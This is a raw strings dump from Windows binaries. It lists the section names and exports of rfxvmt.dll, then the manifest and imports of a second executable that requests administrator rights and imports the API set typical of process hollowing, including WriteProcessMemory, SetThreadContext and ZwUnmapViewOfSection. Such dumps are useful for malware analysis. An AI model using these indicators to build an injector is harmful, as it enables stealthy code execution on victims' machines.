.CRT$XIA
.CRT$XIAA
.CRT$XIZ
.gfids$x
.rdata
.rdata$sxdata
.rdata$zzzdbg
.text$di
.text$mn
.text$yd
.xdata$x
.edata
.idata$5
.00cfg
.idata$2
.idata$3
.idata$4
.idata$6
.rsrc$01
.rsrc$02
PQVSWj+
RPRRRR
b9V$t]
V$RPRRRR
QPQQQQ
QPQQQQ
SSPSSSS
WWWPWWWW
rfxvmt.dll
RfxVmtAcquireSharedBuffer
RfxVmtCancelCreateChannel
RfxVmtCloseChannel
RfxVmtCreateChannel
RfxVmtCreateChannelCancelable
RfxVmtDisableLibrary
RfxVmtEnableLibrary
RfxVmtGetChannelStatus
RfxVmtGetDataAvailableEvent
RfxVmtGetVramDescriptor
RfxVmtIsWriteDataConsumed
RfxVmtPauseLibrary
RfxVmtReadChannel
RfxVmtReadChannelAndCache
RfxVmtRegisterForVmTerminatedNotification
RfxVmtReleaseSharedBuffer
RfxVmtResumeLibrary
RfxVmtRevokeSharedBuffer
RfxVmtShareBuffer
RfxVmtVWriteChannel
RfxVmtWriteChannel
_vsnwprintf
_purecall
malloc
_callnewh
_XcptFilter
_amsg_exit
_initterm
_unlock
__dllonexit
_onexit
msvcrt.dll
_except_handler4_common
RtlInitUnicodeString
NtOpenSymbolicLinkObject
NtClose
ntdll.dll
TraceMessage
GetTraceLoggerHandle
GetTraceEnableLevel
GetTraceEnableFlags
RegisterTraceGuidsW
UnregisterTraceGuids
EventRegister
EventWrite
EventUnregister
CancelIoEx
GetLastError
CloseHandle
InitializeCriticalSection
DeleteCriticalSection
EnterCriticalSection
LeaveCriticalSection
SetEvent
ResetEvent
WaitForMultipleObjects
OpenEventW
DuplicateHandle
GetCurrentProcess
LocalFree
LocalAlloc
GetOverlappedResult
CancelIo
CreateFileW
DeviceIoControl
CreateEventW
QueryPerformanceCounter
GetCurrentProcessId
GetCurrentThreadId
GetSystemTimeAsFileTime
GetTickCount
UnhandledExceptionFilter
SetUnhandledExceptionFilter
TerminateProcess
api-ms-win-eventing-classicprovider-l1-1-0.dll
api-ms-win-eventing-provider-l1-1-0.dll
api-ms-win-core-io-l1-1-1.dll
api-ms-win-core-errorhandling-l1-1-1.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-synch-l1-2-1.dll
api-ms-win-core-processthreads-l1-1-2.dll
api-ms-win-core-heap-l2-1-0.dll
api-ms-win-core-file-l1-2-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-sysinfo-l1-2-1.dll
memcpy
memset
1 1$1(1,1014181<1@1D1H1L1
8b8n8y8
9"9(92989<9B9F9X9b9o9y9
;	<]<b<x<
=,=R=X=o=
?-?K?X?
0!111O1\1
1,2B2G2U2
4"4'4=4g4l4
5:5?5Z5
62676M6w6|6
7*7W7]7t7
868;8\8a8
8&9-9P9U9
:/:k:r:x:
;$;U;Z;};
<E<J<m<r<
<5=:=]=b=}=
=%>*>M>R>m>
?2?[?a?x?
0&0:0T0[0a0n0
2$2,22282>2H2^2l2r2w2
323E3Q3k3
4)4;4B4G4R4X4_4e4l4z4
4&515J5Y5^5t5
6"696S6
7'7D7I7S7l7r7
8 868;8Y8o8
999\9a9
;#;-;I;N;
<:<B<H<a<f<z<
>&>,>\>a>
?3?C?H?^?r?}?
0C0I0n0{0
2M2\2b2z2
2&3+3u3z3
5 585z5
7F8K8h8
8-929Z9_9
= >%>D>I>f>
>)?.?F?]?b?g?
"0'0.141
1*2/2e2v2{2N3T3
777D7K7P7g7
7$8)8L8
8 9.93989N9o9y9
;:;G;d;l;r;
<$<*<><C<O<^<f<y<
=?=V=k=
050=0a0j0
0X1]1o1
4"4)40484@4H4T4]4b4h4r4|4
5.5p5|5
6$6(6H6d6h6
<0@0D0H0
!This program cannot be run in DOS mode.
`.rdata
@.data
.pdata
@.rsrc
@.reloc
x ATAVAWH
@A_A^A\
WAUAVH
x ATAVAWH
A_A^A\
WAUAVH
@A^A]_
\$ UVWH
L$ SUVWH
fA9z*v,A
UVWATAUAVAWH
tJL92u
`A_A^A]A\_^]
f9E@tCH
p WAVAWH
D9y4t6H
M9>u3H
UVWATAUAVAWH
PA_A^A]A\_^]
L$ USWATAUAVAWH
D9[<t;H
A_A^A]A\_[]
VWATAVAWH
A_A^A\_^
WATAUAVAWH
0A_A^A]A\_
nH!\$0A
WATAUAVAWH
A_A^A]A\_
ATAVAWH
 A_A^A\
LcA<E3
 H3E H3E
E(=csm
E8=csm
EH=csm
EX=csm
Eh=csm
Ex=csm
RfxVmt.pdb
.text$di
.text$mn
.text$mn$00
.text$x
.text$yd
.rdata$brc
.idata$5
.00cfg
.CRT$XCA
.CRT$XCU
.CRT$XCZ
.CRT$XIA
.CRT$XIAA
.CRT$XIZ
.gfids
.giats
.rdata
.rdata$zzzdbg
.xdata
.edata
.idata$2
.idata$3
.idata$4
.idata$6
.data$brc
.pdata
.rsrc$01
.rsrc$02
rfxvmt.dll
RfxVmtAcquireSharedBuffer
RfxVmtCancelCreateChannel
RfxVmtCloseChannel
RfxVmtCreateChannel
RfxVmtCreateChannelCancelable
RfxVmtDisableLibrary
RfxVmtEnableLibrary
RfxVmtGetChannelStatus
RfxVmtGetDataAvailableEvent
RfxVmtGetVramDescriptor
RfxVmtIsWriteDataConsumed
RfxVmtPauseLibrary
RfxVmtReadChannel
RfxVmtReadChannelAndCache
RfxVmtRegisterForVmTerminatedNotification
RfxVmtReleaseSharedBuffer
RfxVmtResumeLibrary
RfxVmtRevokeSharedBuffer
RfxVmtShareBuffer
RfxVmtVWriteChannel
RfxVmtWriteChannel
_vsnwprintf
_purecall
malloc
_callnewh
_XcptFilter
_amsg_exit
_initterm
__C_specific_handler
_unlock
__dllonexit
_onexit
msvcrt.dll
TraceMessage
GetTraceLoggerHandle
GetTraceEnableLevel
GetTraceEnableFlags
RegisterTraceGuidsW
UnregisterTraceGuids
EventRegister
EventWrite
EventUnregister
CancelIoEx
GetLastError
CloseHandle
InitializeCriticalSection
DeleteCriticalSection
EnterCriticalSection
SetEvent
LeaveCriticalSection
ResetEvent
WaitForMultipleObjects
OpenEventW
DuplicateHandle
GetCurrentProcess
LocalFree
LocalAlloc
GetOverlappedResult
CancelIo
CreateFileW
DeviceIoControl
CreateEventW
QueryPerformanceCounter
GetCurrentProcessId
GetCurrentThreadId
GetSystemTimeAsFileTime
GetTickCount
RtlCaptureContext
RtlLookupFunctionEntry
RtlVirtualUnwind
UnhandledExceptionFilter
SetUnhandledExceptionFilter
TerminateProcess
api-ms-win-eventing-classicprovider-l1-1-0.dll
api-ms-win-eventing-provider-l1-1-0.dll
api-ms-win-core-io-l1-1-1.dll
api-ms-win-core-errorhandling-l1-1-1.dll
api-ms-win-core-handle-l1-1-0.dll
api-ms-win-core-synch-l1-2-0.dll
api-ms-win-core-synch-l1-2-1.dll
api-ms-win-core-processthreads-l1-1-2.dll
api-ms-win-core-heap-l2-1-0.dll
api-ms-win-core-file-l1-2-1.dll
api-ms-win-core-profile-l1-1-0.dll
api-ms-win-core-sysinfo-l1-2-1.dll
api-ms-win-core-rtlsupport-l1-2-0.dll
RtlInitUnicodeString
NtOpenSymbolicLinkObject
NtClose
ntdll.dll
memcpy
memset
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="requireAdministrator" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>
memset
MSVCRT.dll
GetModuleHandleW
HeapCreate
HeapDestroy
ExitProcess
CloseHandle
GetLastError
CreateProcessW
GetThreadContext
ReadProcessMemory
VirtualAllocEx
WriteProcessMemory
SetThreadContext
ResumeThread
TerminateProcess
KERNEL32.dll
wcslen
wcscpy
wcscat
wcscmp
memmove
memcpy
InitializeCriticalSection
GetCurrentProcess
DuplicateHandle
CreatePipe
GetStdHandle
HeapAlloc
WaitForSingleObject
EnterCriticalSection
LeaveCriticalSection
HeapFree
GetModuleFileNameW
SetFileAttributesW
DeleteFileW
WriteFile
CreateFileW
SetFilePointer
HeapReAlloc
OpenProcessToken
LookupPrivilegeValueW
AdjustTokenPrivileges
ADVAPI32.DLL
ShellExecuteExW
SHELL32.DLL
timeBeginPeriod
WINMM.DLL
PathFileExistsW
SHLWAPI.DLL
ZwUnmapViewOfSection
NTDLL.DLL
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity
    version="1.0.0.0"
    processorArchitecture="X86"
    name="CompanyName.ProductName.YourApp"
    type="win32" />
  <description></description>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity
        type="win32"
        name="Microsoft.Windows.Common-Controls"
        version="6.0.0.0"
        processorArchitecture="X86"
        publicKeyToken="6595b64144ccf1df"
        language="*" />
    </dependentAssembly>
  </dependency>
	<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel
          level="requireAdministrator"
          uiAccess="false"/>
        </requestedPrivileges>
       </security>
  </trustInfo>
</assembly>